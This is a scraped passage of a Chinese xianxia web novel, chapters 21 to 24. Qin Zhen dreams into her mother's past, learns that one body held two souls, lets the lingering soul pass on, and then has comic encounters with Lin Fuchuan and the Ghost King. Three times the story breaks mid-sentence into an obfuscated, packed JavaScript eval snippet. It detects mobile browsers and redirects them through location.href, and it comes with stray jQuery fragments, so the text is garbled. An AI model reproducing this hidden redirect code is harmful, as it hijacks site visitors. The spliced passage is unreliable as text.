因为给秦蓁打了一道他的鬼气,他能感受到她的状态,她喝了解尘缘的井水,梦入尘缘。 本以为,她没与秦奕回去,便也不想知道从前的那些事了。 没想到竟去解尘缘了。她的尘缘梦,也不知如今还有没有自己。 鬼王一直记得,自己跟秦蓁的第一面。 那时天下大乱,他为护住地府界和百幽境,祭出了他的本命魂灯抗天雷,天雷散去后,他虚弱得连支起身体的力气都没有,只能趴在地上,看着白衣少女冷若冰霜的脸,和她聚着灵力的剑尖。 “地府界鬼王,我该杀你。”她开口,声音也如冰霜。 他过于虚弱,连凝出一丝鬼气的力量都没有了,他很清楚,现在什么人都能杀了他。 但他已将百幽境和地府界的事宜俱都安排好了,他死,此方并不会多受影响,若是有人胃口大想吞下百幽境和地府界,他早已安排好的鬼军和左右护法,会让那些人知道什么叫找死。 所以他并不那么在意自己的消亡,只要他能抗住天雷活下来,百幽境和地府界,便能活。 而他抗下来了。 此番已成定局,所以之后他的死活,就不重要了。 但那少女并没有立刻杀他,反而问:“你为什么要大动干戈整顿地府界,又建立鬼市和百幽境?仅为护住这方生灵?” 他本懒得回答,但少女的剑轻轻点在了他的眉心,让他很有些不高兴,嗤笑一声:“因为天上的管不着地下的。” 他是个骄傲的人,死便死,被误会便被误会,他不愿费口舌解释。 没想到少女收了剑,堪称温和的说:“那你便回地下吧。” 21. 梦入尘缘 秦蓁入梦,竟在京中郊外。 “小姐,湖边风大,还是早些回去罢。” 有声音从前方传来,秦蓁拨开林叶,看到翠湖旁几位女子。 几个丫鬟装束的女孩簇拥着一位衣着华贵的女郎,那女郎撇嘴:“你们小姐我就要入宫当皇后娘娘了,往后可就不能出来玩了。”她侧身,露出精巧细眉柳叶眼。 是那个残魂女孩......孟亭栀。 “小姐!圣上还未退位,您现下可不能自称皇后娘娘!唉!小姐这般性子,春香忧心您在宫里被人欺负!”一个丫鬟说完,引来其余几位丫鬟的附和。 “唉!是啊,也不知夫人老爷怎么想的,怎么就应下了呢!” “那可是圣上指婚!不应下要杀头的!” “老爷少爷本事大,圣上不会的。” “我看你跟小姐一个性子!就是因为老爷少爷本事大,不应下才会被杀头!”那位叫春香的丫鬟重重叹气,说:“你们这几个小丫头,被小姐养成一样的性子了,进了宫里怕是骨头都让人啃了!” 那些小丫鬟欢笑几声,说着“哪有这般吓人”之类的话。 孟亭栀看着她们嬉笑打闹,也笑道:“就是,哪有这般吓人,我爹爹是朝中大官,兄长是镇国将军,我们孟家可是一等一的名门望族!我自然是要做皇后娘娘的。爹爹和兄长会护着我,我也会护着你们。” 少女明眸皓齿,一派天真。 “小姐!”春香拽拽袖子,气道:“自打知道小姐要入宫,春香就没睡到几夜好觉,唉!唉!怎会这般!” 孟亭栀笑着轻打她一下,说:“好了春香,不必这般忧心,太后一直很喜欢我,她也会护着我的,我在宫中亦有靠山。日后我是皇后,身份尊贵,可不会受人欺负!” 春香叹道:“明枪易挡暗箭难防!唉!罢了!春香就是死也会护好小姐的,只盼小姐您自个儿也留点心!也不知那太子殿下人如何,还有三日圣上便要传位与他,之后......小姐您便要入宫了。” “他、他挺好的。”孟亭栀似想起什么,有些羞涩的笑。 春香惊讶:“小姐?您从前见过太子殿下吗?” 孟亭栀点点头,说:“就是去年花朝节的那位公子.....我的花灯扯坏了,他帮我补好了。爹爹前几日说,太子殿下传话与他,待圣上传位,新皇登基,他......承定,承定他会亲自来接我入宫。”言尽意未尽,她脸颊带粉,面若桃花。 “那位公子竟是太子殿下!”丫鬟们惊道,又很快笑成一团:“小姐,这婚事不会是您自个儿求的吧!”“小姐那之后魂不守舍好几月,咱们几个都以为小姐难过那只顶好的花灯,原是遇到心上人了!”“这下春香姐该放心了,那位公子人真真不错!小姐有眼光!” 春香也松口气:“那位公子温润如玉,倒是合适做小姐夫君,既是圣上传位,能力当也出众,原先我听闻太子殿下是圣上第七子,还担忧此人狡诈冷情,是算计其兄长上位,但既是那位公子,倒让我能安心些将小姐交给他。” 孟亭栀听着丫鬟们的玩笑话,脸羞得通红,笑骂道:“以下犯上!没规矩!” 小丫鬟们并不怕她,依旧嘻嘻笑着,你一言我一语,打趣她们的小姐。 秦蓁看着她们笑闹,心绪沉沉,这般天真幸福的笑容,他们曾经,是真的有过很美好的初遇吧。 世事亦变。她叹道。 但......不对!她与母后的长相完全不同! 几声尖叫响起,秦蓁迅速望去——最边上的一位小丫鬟倒在地上,血从她的口中流出,两个黑袍男子出现在湖边,抬掌朝孟亭栀拍去。 秦蓁下意识拔剑,灵力随着剑气打出去,却并没能打到那两个黑袍男子身上,她后知后觉,自己身在尘缘梦,看到的都是已经发生的、不可改变的、过去的事。 她握紧剑,看众人惊叫,看鲜血飞溅。 待一切皆静。 秦蓁想,林赴川一定太清楚这种感觉,才不愿去尝试解他认定解不开的尘缘。 皆因木已成舟。 “魔界中人!” 熟悉的声音响起,夹杂着愤怒,秦蓁瞳孔骤缩,这是——母后的声音! 她看向来人,清丽的少女背着剑,蹲下探查孟亭栀几人的尸体,杏眼染上怒色:“该死的魔界中人!竟在凡人界肆虐,我定要将你们碎尸万段!” 接着她起身布阵,有黑气从孟亭栀几人的尸体上飘出,汇入阵法之中,她拔剑,漫天剑气压面而来,带着纯粹剑意,将阵法里的魔气剿灭。 少女衣袂飘飘,垂眼看着孟亭栀等人的尸体,叹道:“安息。” 可话音刚落她便身形一晃,撑剑跌在地上,面容痛苦。几息之后,她再握不住剑,重重倒下。 方才的两个黑袍男子再次出现,上前探查,一人说:“天生仙体,果真不一般,这绞魂阵,仅能削弱她的神魂。” “哼!如此也足够了,若不是主上有令......今日便是她的死期!这肖拭云杀了我魔界多少人!” “今日后,便只剩齐国聂国了,若让正道人发现凡人界各国的‘魔界探子’,是他们仙门中的楚翘,哈哈!看他们该如何还这些凡人的公道!” “主上之计妙也!这肖拭云果真一路追着我们的踪迹过来了。” “行了,易容术已施,待这些凡人将肖拭云带回孟家去。” 两人掌中魔气翻涌,几位丫鬟竟活了过来,只是目光呆滞,像失了魂。 “咦?这孟家之女竟还有大半的残魂,那孟家的人真拿她当心肝护!这应是哪个仙门的术法吧?” “无妨,凡人神魂弱,将她的魂引入肖拭云识海,待肖拭云身上的绞魂阵诛灭她即可。” 黑袍男子抬手,丫鬟们搀着肖拭云上了马车。 秦蓁死死盯着肖拭云的脸,那张熟悉的脸,正是她母后的样子,经那黑袍男子施法易容,变成了孟亭栀的样子。 她明白了,孟亭栀的神魂被引入肖拭云识海,绞魂阵却一直未能诛杀她,之后大抵肖拭云的神魂出了什么意外,她消亡,便仅剩孟亭栀的神魂留存于这具躯体。 凉意漫上秦蓁眼底,魔界之人——该杀! 她整理好心绪,跟着马车来到孟家,这孟家中人,果真已全部成了受控的失魂人。 她看着肖拭云醒来,发觉自己神魂虚弱万分,已不能动用灵力,联系宗门无果,便决定先按兵不动。肖拭云是仙门楚翘,她稍一思索,便知自己已遭暗算,只是不知背后是何许人,想做些什么。 她看着肖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15125143|164186||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拭云为摸清背后之人的计策,决定代孟亭栀出嫁,看着十里红妆,秦承定牵着她的手走进大殿,面上带着真心的笑,温柔问她:仪式繁重,你累不累? 她看着两人进入婚房,秦承定掀开她的盖头,诉说去年花朝节时他的动心,许下必要娶她为后的誓言,微红着脸说现今已全部实现,他如梦般幸福。 秦蓁想,若此刻的“孟亭栀”,是真的孟亭栀,那真的会相当幸福吧。 她想起自己记忆里很少笑的父皇,和母后死前愤恨的眼神,他们两人,原来真有过这般满心满眼都是彼此的时刻。 她看着“孟亭栀”说她叫肖拭云,说她被人施了易容术,说她是为查明幕后主使,说你是皇上,应当知道世上确有仙门之人。 她看着秦承定难以置信,直到肖拭云给他罗列许许多多的修真界与凡人界皇室的事迹,他终于惊慌失措问:那孟亭栀呢? 那个女孩已经神魂俱灭,永远消失在这世间了。 肖拭云不忍这般告诉他,便说孟家出了意外,你是凡人,恐难助她。 秦承定当即下旨要召孟家人入宫,却被先皇差人告知,待送了孟亭栀出嫁后,孟家上下已离京远游。 秦承定红了眼,似万念俱灭,他问肖拭云:她是不是不愿嫁他,才请求仙人助她。 不等肖拭云回答,他便快步离开,大抵并不愿听到答案。 秦蓁闭眼,深深吸气。 一年,又一年,再一年,这三年里秦承定一心扑在朝政上,将夏属国治理得繁荣昌盛,也慢慢淡忘了对孟亭栀的感情,终于能心平气和的跟肖拭云说话。 她看着早已过了易容术时效,恢复本来面貌的肖拭云,与秦承定谋划如何查清幕后主使,直至第四年,肖拭云终于将她体内的绞魂阵破开,灵力重回她的体内,她开始练剑,剑招惊艳了秦承定,他的眼中渐渐有了肖拭云的身影。 帝王多情又无情,秦蓁自小便知道,世间男子可以有许多心上人,但女子只能有一个。 她自小见到的也是如此,从前不觉得多如何,现今再看,她为孟亭栀难过,那个天真的、满心满眼只有一人的女孩。 她看着在第五年,肖拭云找到秦承定说,她要离开了,她已知晓幕后之人,她要去为地底的魂,鸣不平。 她看着秦承定发怒,表明自己的感情,看着肖拭云不可置信问:那孟亭栀呢? 她想起那晚洞房花烛夜,这般不可置信问出同样话的人,是秦承定。 直到肖拭云斩钉截铁表明自己对他并无爱意,秦承定暴怒,在肖拭云聚灵即将御剑时,他拿出了这些年与肖拭云调查幕后之人时得到的一个禁魂阵,将肖拭云刚刚养好的神魂,禁锢削弱。 万万没想到,肖拭云的魂就此消失了。 秦承定很快发现了,但这次没有从前的难以置信,他只觉得自己被戏耍了,他卸掉温情,与他的皇后诞下一子,然而存在记忆里的人永远比眼前的人可爱,他于是又心心念念着肖拭云,教幼小的秦蓁一笔一划写这三个字。 秦蓁恍然眨眼,才发觉自己流泪,她为自己的母后——不论是肖拭云还是孟亭栀,她为她们落泪,为她们不平,亦为这弄人的造化和凡人女子被施压的不公悲愤。 秦蓁闭眼,再睁眼,从尘缘梦中醒来。 22. 修剑道,行我道 秦蓁坐起,回忆她的尘缘梦。 难怪那残魂女孩是那般样子,孟亭栀在翠湖旁身死时,那魔界人说她还剩大半神魂,恐怕当时失去的一小半魂魄便是已离了体,进了地府界,所以她只有一些片段的记忆,她只是那个天真等待心上人来接她的女孩。 凡人神魂不比修行人,肖拭云因体内的绞魂阵,当时的神魂也万分虚弱,并没有发觉自己识海中多了一抹魂。直至秦承定用禁魂阵禁锢住她,阴差阳错害肖拭云神魂俱灭,孟亭栀的凡人神魂没了修行人强大神魂的压制,便出来了。 一体两魂,或许到后面肖拭云发现了,孟亭栀也能看到肖拭云所看的,所以孟亭栀她……才会恨秦承定吧。 毕竟虽然被规训帝王后宫无数,她应母仪天下为帝王分忧,可真正看到自己心上人眼里有了别的人的样子,还是太难接受。 她已不知,自己的母亲到底是谁,因为是肖拭云的躯体,所以她流着肖拭云的血,可那里面,是孟亭栀的神魂。 秦蓁心情沉重,她自小被宫中嬷嬷教习规训,也知道父皇有许多嫔妃,她与皇弟皇妹们,都有不同的母亲。按理,她不该为此波动心绪。 可她抚摸自己心口,发觉她真的在流泪,为那些规训,为这世间的约定成俗,亦为她们的无力。 她从未如此强烈的感受到心中的不平与悲恨,也认清她从前并非是怨母后的疏远,而是想伸手拥抱那颗女子心。 秦蓁闭眼,再次梦入尘缘。 熟悉的宫殿中,肖拭云正在与宗门联络。 “我已查清,是那魔尊在搞鬼,恐怕凡人界诸国皇室之中,皆有如我这般体内被布下绞魂阵的仙门人!只是我的神魂还能撑住,恐怕其他道友,俱已魂灭!” 肖拭云面色悲痛,咬牙切齿:“我肖拭云!不杀魔尊誓不罢休!若我不能为地底的残魂讨回公道,何以对得起师门教诲!又如何能定道心!” 玉牌中,似乎是肖掌门的声音:“拭云,魔尊生性残忍,实力强大,莫要冲动,你是天生仙体,该证道飞升,护佑天下生灵。” 肖拭云说:“我知你们已在谋划,也信各大宗门在紧要关头能统战合力,我也懂那魔尊非我一人之力可杀死,可我做不到为了更多的人而放弃一些人!” “爹爹!我识海内的那个凡人魂魄,我用自己神魂温养她,可她还是难以恢复成一个正常的魂魄,她是个完全无辜的凡人女子,因那恶劣残暴的魔尊为祸天下被卷进来,这凡人界还有许许多多她这样的人!甚至多数人早已死去!你叫我如何放弃这些同她一般还有机会重活的人!” “拭云……”肖涧川叹气:“你一心天下,可过刚易折,你若执意强行挣脱禁魂阵,恐怕会身死道消。” “不,爹爹。”肖拭云原本愤怒的神色慢慢淡下,她目光坚定,一字一句:“强行挣脱禁魂阵,我会身死,会魂灭,可我的道,不会消。” “若我什么都不做,在这等体内的那个凡人神魂代替我的神魂被禁魂阵磨灭,我的道心才会陨落。” “以我之力冲破禁魂阵,散我之魂温养体内被打入过绞魂阵的道友们,解我之魄以拉失魂的凡人们入地府界转生投胎——才是我之道!” “只有天生仙体能做到这般,而我是,我能做到,那我怎能因为自身的消亡而放弃!我信你们能诛杀魔尊,可被卷进来的无辜之人,合该我去救。” “以身殉道,亦是我之道。我不悔。”肖拭云说。 玉牌没了声音,久久传来叹息:“是我未能护好你。既是你之道,便去吧。若最后你还剩一丝残魂,记得别挂念鬼市吃食,早日入轮回转世,下辈子,爹爹带你去凡间街市……” 肖拭云红了眼,却很坚定的说:“爹爹,我不会还剩残魂的,用一丝残魂转世的代价……过大,纵然你不会那般做,我也不愿。” 秦蓁看着熄灭的玉牌,女孩坚定的双眼和扑天的剑气,看着她的躯体轻轻倒在榻上,面容祥和,似乎只是入了梦。 秦蓁第一次明了,“肖拭云”,这三个字背后,是个怎样的人。 她感受到她手中的剑因她的心绪而颤动,她轻轻压下,心中悲鸣却不止。 秦蓁看着孟亭栀的神魂醒来,她似乎明了期间发生的这些事,她默默流泪,流了许多的泪,最终她把泪擦干,去找秦承定,说了她所知道的这些事,说她想出宫,隐居村落。 接着就是上次尘缘梦被中断前的节点,秦承定暴怒,只觉被两个魂魄戏耍,将孟亭栀关押在拭云宫,卸掉温情,与他的皇后诞下一字,他说,你本就是我的皇后,而穿着嫁衣与他对拜的是肖拭云,你们皆是我的妃子。 孟家人早已身死魂灭,孟亭栀在皇宫,无力抵抗,她抱着小小的秦蓁流泪,说:“我为你取名为‘蓁’,愿你有草木般的生机,愿你坚韧长到繁盛,不被天意作弄,不被人意主导。” 秦蓁也流着泪,她压抑着颤抖开口,声音很轻,回应她:“我会的……娘亲。” 可还没等她长到有记忆的年纪,秦承定便立了位国师,国师说皇后娘娘体内有异魂,需削了异魂,本魂才能归来,于是秦承定允他做法,又听信他的话,在夏属国境内派人画下招魂阵法。 但这阵法启动需数千条人命,秦承定为一国之君,到底还是犹豫了。 于是国师说:“我方才做法失败,仅让这异魂失了五年内的记忆,并未能招回本魂,但从这可知,这异魂是五年前来的,皇上不愿用百姓之命招魂,实乃仁厚,但还有一计,失魂的第一个十年,可试着让佛道僧人诵经,以其血骨为媒介,诱本魂归来。” 于是秦承定将秦蓁当作唯一期望,又宠又哄,仅为十年后拿她来换肖拭云。 于是没了这五年记忆的孟亭栀,对着镜中不属于自己的脸大惊失色,悲愤曾经的爱人怎对着她念另一人的名字,抵触着秦蓁的亲近。 十年后,国师说的方法失败了,秦承定暴怒,当即杀了玄水寺在场之人,又接了许多容貌与肖拭云有几分相似的女子入后宫,既能在他下定决心后充当开启阵法的必需品,又能让他睹物思人。 秦蓁看着玄水寺里,一些熟悉的面孔淌满了鲜血,唯有秦胥宴因她母妃有所察觉,提前叫衷仆带走了他。终是皇子,秦承定后来没有杀这个年纪还小不甚懂事的漏网之鱼。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15128654|164186||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 所幸秦池玉发觉不对,竭力阻止了秦承定,而后因有其养子秦奕手握兵权,他迅速扩充自己在朝中的威望,五年后兵袭大殿,却未滥杀,堪称和风细雨般改朝换代。之后肖涧川毁掉阵法,此事暂休。 这国师,是魔界之人。那阵法,必定不是单纯的招魂阵,也必定不是为了招肖拭云的魂。 师父给她的许多修炼书籍中记载过,众宗门合力攻入魔界,魔尊已死。 大概是手下残党,循着从前在凡人界诸国的魔界中人延续了计划,只是能力不足,仅能靠口舌劝导,最终未能成功。 秦蓁一手抬平她的剑,一手轻轻抚剑。 她抚着剑,再抚剑,似在自言自语,又似在对着她的剑说:“我想杀人。” 她想杀人,她心中戾气横生。 秦蓁睁眼出梦,走到解尘缘的村庄。 刚到拐角,便被残魂扑面穿过。 她回头,孟亭栀的残魂呆呆看着她,又想扑她。 她问:“你为何一直扑我?你已知晓我是生人。” 孟亭栀还是呆呆的,说:“我不是想扑你。” 秦蓁眼一红,问:“你是想抱我吗?” 孟亭栀呆愣的神情慢慢褪下,眼睛渐渐亮起,她笑:“好像是的,原来我是想抱你。” 她看着秦蓁落泪,又变回呆呆的样子:“你为何要哭?” 秦蓁说:“因为发觉你爱我。” 秦蓁将声音放得很轻很缓,问她:“你去转世轮回好不好?不要再等任何人,我知你不止在等他。” 孟亭栀面露疑惑,不解的看着眼前这个流泪的女孩。 “你去转世轮回吧,有个叫肖拭云的女子,用自己的力量救了你的家人,还有许多同样的人。他们的魂魄已被送到地府界入了轮回,你不必再等了。” “我如今也活得很好,已明悟心境,你安心。” “不必再等任何人,去转世轮回,随你心意而活。” 孟亭栀想说话,被哽了一下,才发觉自己也莫名落泪了,她觉得奇怪,问:“我为何也会哭?” 秦蓁答她:“因为一切最珍视,皆有了好结局。” 秦蓁看着孟亭栀的残魂渐渐变淡,直到那张呆呆流泪的脸微微扬了点笑意,残魂消散,点点光亮朝村庄的另一方飞去,她知道,她执念已消,去入轮回了。 秦蓁走到解尘缘之人的那间竹木屋,问:“前辈,我的尘缘梦后,还有我想了解的事情,可我无法步入,是为何?” 夹杂着轻咳的声音说:“尘缘梦,仅绕你和你的尘缘人而生,与任何一方无关的,你都看不到。有些事已有结果,那结果与你无关,你便看不到。” 秦蓁明白了,她想看后来魔尊残党,但那与她并无直接相关,她便看不到。 她道了谢,回到逍遥客栈。 她坐在榻上,拿出苏逐给的玉牌,看着上面的“蓁”字。 她不再流泪,将她的剑平放在身前,细细端详、细细抚摸。 她的剑。 “往后,你名‘不悔’。我当永记此刻剑心,修剑道,行我道,不悔。” 23. 是搭档还是道侣我自有分辨!^^…… 秦蓁在逍遥客栈的大堂里,看见衣上带了几滴血迹的林赴川。 “发生了何事?你受伤了?”她问。 林赴川摇头:“梦入尘缘,但我心性不够坚定。无碍,仅是咳口血,并未走火入魔。” 秦蓁皱着眉,似乎没想到林赴川的尘缘梦竟到这般地步。 “其实也明悟了一些事,也算有收获。”林赴川说:“我准备去交易区看看,接几个任务,再上百幽境去,你要不要一起?好接些任务,早些……还债。”他说到还债,笑起来。 秦蓁本也想去交易区看看,便应下,顺手施了个清洁术,将林赴川衣上的血迹清除。 林赴川感受着秦蓁的灵力抚过他前襟,愣了下,耳尖发红,暗恼自己真是练剑练傻了。 他快步上前,再侧身跟秦蓁说:“走吧,我带你去。” 但他话说出口才发觉自己的声音比平日稍小些,不知道秦蓁听清了没,便朝她看去。 她在尘缘梦中大抵同他一样也有些不快,身上气息绷得厉害,整个人收束得更紧,似比从前更难接近,如同坚冰。 但她的眼神却很平和,不似从前那般无悲无喜的淡漠,而是有了很多温度。 于是林赴川明白,她与自己不一样的。她心澄澈,纵然被激起杀意,也不会随意出剑,她不是变得更冷了,她是更清楚自己手中剑的重量了。 “我想和你搭档。往后出宗门历练,我们可以作伴。” 林赴川反应过来前,这句话便已经说出口了。 秦蓁目露疑惑:“我与同门师兄师姐一起来的,你的同门不是也在百幽境吗?” 林赴川顿了下,才说:“不一样。” 见秦蓁看着他等待下文,林赴川组织了半天词汇,却还是没能说出什么,便洒然一笑:“因为我亦欣赏你的剑意。我们剑道相似,一路同行对磨砺彼此剑意有益。” 秦蓁确实很欣赏林赴川的剑意,他的剑意带着一往无前的压制力,很有气魄。 于是她说:“待我们此次任务完成,下回一起。” 林赴川说:“这次也可以一起,宗门合作也是常事,我们接的任务应该大差不差,可以一起探查,会快一些。” 秦蓁应下,两人交流了一下宗门任务的详细情况,便来到了鬼市交易区。 林赴川轻车熟路的找到交易行管事,还未开口,那管事就满脸堆笑迎上来:“林少侠来了!这次可是要接任务?还是又得来什么宝贝了?” 林赴川说:“接任务,我去看看任务牌。” 那管事赶忙上前引路,看见秦蓁与林赴川并肩走,讶异道:“这位是……您同伴?” 林赴川点头:“是我搭档,我们一起接几个任务去历练。” 秦蓁也朝管事点了点头,当作招呼,她有些意外,方才看那管事对另外那些找他的人并不多么热情,现下对林赴川却堪称谄媚。 “哦!搭档!” 那管事两眼弯成一眯缝,笑容更大:“我懂我懂!原来林少侠是得了最稀罕的宝贝了!” 他笑得不见鼻眼:“哎呀!怎么没听到什么风声呢!从前我见林少侠独来独往,就觉可惜,原是早已有了心上人嘞!嘿嘿!如今是已结良缘?便一同出来游历江湖了?姑娘贵姓嘞?既是林少侠的道侣,往后您来鬼市咱们也得好生招呼。” 这时秦蓁才反应过来,管事话里的“宝贝”并非指那些奇珍秘宝,而是……她…… “我们不是……道侣。”她愣愣开口,而后愕然看向林赴川,却见对方比她更木愣的看着管事,感受到她的目光,下意识看向她,四目相对,林赴川的脸渐渐变红,接着飞快移开目光,结结巴巴:“不、不是、我们不是道、道侣……” 见他这般,秦蓁也明了是那管事误会了,便平和道:“我们是搭档一起做任务。” “我懂我懂,搭档搭档。” 管事笑容更大,对秦蓁说:“林少侠从前可没和谁‘搭档’过。” 然后对林赴川说:“林少侠你这样可不行,怎么这般害羞!哎呀,要主动,要大胆,不要害羞。” 接着他又看向秦蓁:“女侠别介意,从前我看林少侠做事雷厉风行,也没想到他这般害羞,不过也说明他是真心悦你嘛!” “这边请这边请,任务牌子便在那面上挂着,你们二人慢慢选,我先走,我先走。”管事嘿嘿笑着,不顾林赴川无措的解释,很快消失在了两人的视野中。 面前红木高墙挂满了任务牌,秦蓁被带偏了一瞬,觉得有些像凡间的祈愿牌。 林赴川还在结结巴巴解释,她有些想笑,从前看他那般波澜不惊,行事也沉稳,没想到被人误会一下这般无措。 秦蓁便对他说:“我知道是管事误会了,你没有这个心思。只是被玩笑几句,我不怎么介意,你不必这般紧张。” 林赴川看着面前女孩轻轻笑,她看向他的眼里盈满温和,只觉自己脸上更烫,眼神飘忽,思绪杂乱。 见秦蓁眼中笑意更盛,他脑子一乱,脱口而出:“我,我同你一样,是欣赏剑意,我们,呃,我们很适合一起练剑!” 秦蓁轻笑出声,她是真没想到,林赴川竟这般……害羞,倒像十分在意这个误会。 她现在有些明白师姐从前瞪着眼说的那句“剑修”是什么意思了。 秦蓁原先因尘缘梦稍稍沉重的心情放松下来,笑盈盈顺着林赴川的话应声:“恩,改日可一起练剑切磋。” 没想到林赴川听见这话,更呆愣了,别开脸思索了一会儿,又转回来看她,面上更红,却很认真盯着她的眼睛,说:“若我心悦你,一定好好与你说,也一定会叫所有人知道,不会同管事所说那般、那般……”他的声音小了下去,眼神也开始闪烁,脸红到了脖颈,耳尖如滴血:“……那般害羞,不主动,不大胆,也不与人说……” 林赴川闭嘴了,他觉得自己从前二十年来都没这般蠢过,他不知道自己在说些什么,恨不得给自己来一剑,练剑时的稳重和冷静都不知道丢哪儿了,被管事误会一下反应就这般大,当真是……剑心不稳,该多……练剑。 得出这个结论后林赴川更想给自己来一剑了……他很有些丧气,却也不知道是为何,便抬眼又望向秦蓁,希望她没有对他皱起眉。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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林赴川去找管事登记任务牌了,在他百般劝阻下,秦蓁独自一人先到交易区外等他,他说他要跟管事说清楚,不然于她声誉不利,秦蓁倒没有那么在意,修真界实力为尊,她一心修行问道。 但看林赴川再次染了薄红的脸,便应了他,先离开交易区了。 她看着喧闹的鬼市,有些恍惚。 这几日因梦入尘缘,总觉时间被拉得很长,像过了好久好久,心下微叹,一梦尘缘,竟是梦中人的一生。 不知同门师兄师姐是否已解尘缘,她跟掌柜留了话,叫人帮忙看着已解尘缘醒来的人。 但掌柜那边却一直没消息,她今早才问过,掌柜说他们几人还在解尘缘。 秦蓁听见有人念了声自己的名字,边转身边说:“林赴川,我们先回客栈一趟吧?我想看看同门解开尘缘没有……” 话音在她转过身看见来人的那一刻戛然而止。 念她名字的人不是林赴川,而是挑着眉看着自己、脸色有些臭的鬼王。 鬼王凌厉苍白的面上带着有些刺人的笑,微凉的声音响起:“你在我面前喊另一个男人的名字,还说要一起回客栈?” 24. 滚出我的地府界 “哦,还有,没认出我的声音。”鬼王冷笑:“罪加一等。” 秦蓁:“……我们并不熟悉。” 她很有些无奈的说出这句话,也做好了下一刻这鬼王又开始无理取闹乱说胡话的心理准备。 没想到鬼王怔了下,有好一会儿没说话,再开口,语气比方才好了许多:“你的尘缘这么快解完了?” 秦蓁目光微顿:“你怎知我去解尘缘了?你还能感应地府界内所有的事吗?” 鬼王瞥她一眼,说:“你这般想,也算对。” “你早些回地上,到百幽境去,有几个不安分的东西出来了,过几日地府界会有些乱。届时鬼气会很重,非鬼修的生人留在这里会受影响,我得去处理它们,不太抽得出身护你。”鬼王有些严肃的说。 秦蓁讶异,但想到地府界原是弱肉强食无秩序的地界,便了然,虽然鬼王已统地府界,鬼市的生灵也安居乐业,但原先在此地称王称霸的人肯定还是蠢蠢欲动的。 只是秦奕和他们的交易已经结束,鬼王竟然还亲自跑来跟她说,这人还挺仁义,倒同他行事一致。 “其他人呢?还有在逍遥客栈解尘缘的,也有很多生人。”秦蓁问。 “我已派鬼使通知下去了,尘缘梦中会有人叫醒他们。待人走了,过几日鬼市会封闭一段时间。” 方才的那点严肃消失,鬼王慢悠悠的说:“你在此地还有没有什么想做的?其实也没有那么紧急得立刻上去,你想逛逛鬼市或者等你同门一起走都可以。” 秦蓁听了这话,竟觉得他还挺好说话,试探道:“我若问你些问题,你会好好答吗?” 但这话一出口,鬼王看上去有些想掐死她。 秦蓁果断的说:“你会好好答的,对吗?” 鬼王哼一声:“问。” 秦蓁感觉有点摸清鬼王的性子了,只要她不质疑他的那些胡话,想他做什么不要疑问直接说,他就能心平气和与她说话。 秦蓁便问:“我同门解尘缘为何这般久?太久了不会被困在尘缘梦中吧?” 鬼王答:“不会,他们解的久肯定是因为他们想将从前所有尘缘都解了。” “所有?” “所有。大的小的记得的不记得的,上到终天之恨下到顺手救一下路边小犬。”他抱臂站着,却实在懒懒散散,像倚靠在什么上一样。 鬼王问:“你恐怕只解了你当下想到的几个?难得有解尘缘的机会,你不全都解了?” 秦蓁没想到可解尘缘的范围竟然这么大,犹豫:“那我将过去都看尽,岂不是能得知许多未知?这尘缘梦也太……” 她欲言又止,鬼王却明了她的意思,语气稍有些冷:“非是全知,但确定能看到很多事,所以能助人解尘缘的人……下场都不会太好。” 秦蓁想起竹木屋里虚弱的咳嗽声和药碗的碰撞声,一时无言。 “不必多想,他们自愿以己之力这般助人。”虽这般说着,但他的声音却又冷了些,垂着眼看不清神色。 秦蓁明了:“这是他们的道。” “道?”鬼王抬眼看她,眼中有一丝迷茫。 秦蓁点点头:“道,就像你将地府界治理得这般好一样,他们亦想通过自己的方式,让世人少受蹉跎,让世间变好。” 鬼王看上去有些诧异,随即低低笑起来,眼中光华点点,让他本来凌厉的相貌带上了些许柔和。 他笑得让秦蓁觉得,这人好像突然“活”过来了一样。 鬼王笑完了,深邃的眼看着她的眼,是她之前未见过的温柔,声音也温柔:“对,道。我们许多人,都有同样的道,你也一样。” “我们为了这个道,付出许多代价,跳脱另一个道。我们不一定能证道,但我们一定会尽力去做,因为这是我们的道,不是什么东西要求谁去行的道。” 他双目凛凛,却卸了寒光,秦蓁从他眼里,清晰看见自己。 她突然问:“你之前总说‘从前’如何如何,是真的有从前吗?” 鬼王静静看她,说:“或许也只是场尘缘梦。” 他说完便恢复成懒散的样子,语调拖长,语气也沾了些慵懒,问她:“你真想知道?” 见秦蓁没有应声,却依旧抬着黑亮的眼睛看他,他薄唇扬起有些刻意勾人的笑,意味深长:“若你日后愿与我双修,我便同你说。” 鬼王本来凌厉的相貌因这刻意的笑带了点艳,略显苍白的肤色呈在其上,像飞雪。 秦蓁沉思一会儿,回答:“那大抵不行的,我师父双修剑刀,我若双修,应该也是跟着师父修刀法去,三修或可考虑修鬼道,但我还是更喜欢剑道的。” 鬼王迅速撤去笑容,气势冷厉。 他闭眼,深深吸气:“你,现在,立刻,滚出我的地府界。” * 秦蓁意识到自己把鬼王气跑了。 